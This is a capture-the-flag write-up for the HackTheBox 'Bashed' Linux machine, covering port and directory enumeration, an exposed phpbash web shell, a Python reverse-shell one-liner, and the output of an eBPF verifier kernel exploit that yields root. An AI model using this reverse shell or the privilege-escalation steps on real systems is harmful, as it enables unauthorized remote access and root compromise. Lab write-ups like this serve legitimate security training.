Write-ups/HTB/Bashed

Bashed
Platform	HackTheBox
OS	Linux
Difficulty	Easy
Techniques	phpbash, Kernel Exploit

This Linux box was quiet interesting. In the webservers subdirectory there was a shell embedded in a PHP file. I used python to get a reverse shell on netcat, which gives me a better terminal. I abused a kernel exploit to get root shell.

---

Enumeration

I'll start with a NMAP scan.

┌──(root💀kali)-[/home/aghanim/Desktop/HTB/bashed]
└─# nmap -sC -sV -p- --min-rate 10000 10.10.10.68 -oN nmap.result
Starting Nmap 7.92 ( https://nmap.org ) at 2022-01-23 14:59 EST
Nmap scan report for 10.10.10.68
Host is up (0.030s latency).
Not shown: 65534 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Arrexel's Development Site
|_http-server-header: Apache/2.4.18 (Ubuntu)

Only port 80 open on this machine. I'll use gobuster to see if there are any interesting subdirectories.

┌──(root💀kali)-[/home/aghanim/Desktop/HTB/bashed]
└─# cat gobuster.result
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.10.68
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2022/01/23 15:10:13 Starting gobuster in directory enumeration mode
===============================================================
/.hta                 (Status: 403) [Size: 290]
/.htaccess            (Status: 403) [Size: 295]
/.htpasswd            (Status: 403) [Size: 295]
/css                  (Status: 301) [Size: 308] [--> http://10.10.10.68/css/]
/dev                  (Status: 301) [Size: 308] [--> http://10.10.10.68/dev/]
/fonts                (Status: 301) [Size: 310] [--> http://10.10.10.68/fonts/]
/images               (Status: 301) [Size: 311] [--> http://10.10.10.68/images/]
/index.html           (Status: 200) [Size: 7743]
/js                   (Status: 301) [Size: 307] [--> http://10.10.10.68/js/]
/php                  (Status: 301) [Size: 308] [--> http://10.10.10.68/php/]
/server-status        (Status: 403) [Size: 299]
/uploads              (Status: 301) [Size: 312] [--> http://10.10.10.68/uploads/]
===============================================================
2022/01/23 15:10:40 Finished
===============================================================

In the /dev there is an interesting PHP file called phpbash.php. Opening the file we get a shell in the browser.

This is very interesting, but the shell is not very interactive, so I used python to get a reverse shell using netcat.

python -c 'a=__import__;s=a("socket");o=a("os").dup2;p=a("pty").spawn;c=s.socket(s.AF_INET,s.SOCK_STREAM);c.connect(("10.10.10.68",4444));f=c.fileno;o(f(),0);o(f(),1);o(f(),2);p("/bin/sh")'

Root

To get root on machine I used a kernel exploit present on this machine.

> It is possible to bypass the bpf verifier (verifier.c), load bpf code, and create a read/write primitive. The root cause of this vulnerability is improper arithmetic/sign-extention in the 'check_alu_op()' function located within verifier.c. The improper arithmetic makes it possible for sign extension to occur in either of the following cases:

BPF_ALU64|BPF_MOV|BPF_K (load 32-bit immediate, sign-extended to 64-bit) BPF_ALU|BPF_MOV|BPF_K (load 32-bit immediate, zero-padded to 64-bit); https://ricklarabee.blogspot.com/2018/07/ebpf-and-analysis-of-get-rekt-linux.html

And exploiting this vulnerablity.

www-data@bashed:/tmp$ ./45010 [.] [.] t(-_-t) exploit for counterfeit grsec kernels such as KSPP and linux-hardened t(-_-t) [.] [.] ** This vulnerability cannot be exploited at all on authentic grsecurity kernel ** [.] [*] creating bpf map [*] sneaking evil bpf past the verifier [*] creating socketpair() [*] attaching bpf backdoor to socket [*] skbuff => ffff88003a983c00 [*] Leaking sock struct from ffff88003b753400 [*] Sock->sk_rcvtimeo at offset 472 [*] Cred structure at ffff88003a8dafc0 [*] UID from cred structure: 33, matches the current: 33 [*] hammering cred structure at ffff88003a8dafc0 [*] credentials patched, launching shell...

1. id

uid=0(root) gid=0(root) groups=0(root),33(www-data)

What I've learned

• There might be a shell running on the webserver. Havent encoutered that before, so that was interesting. * Always stabilize the shell you get so not to loose connection.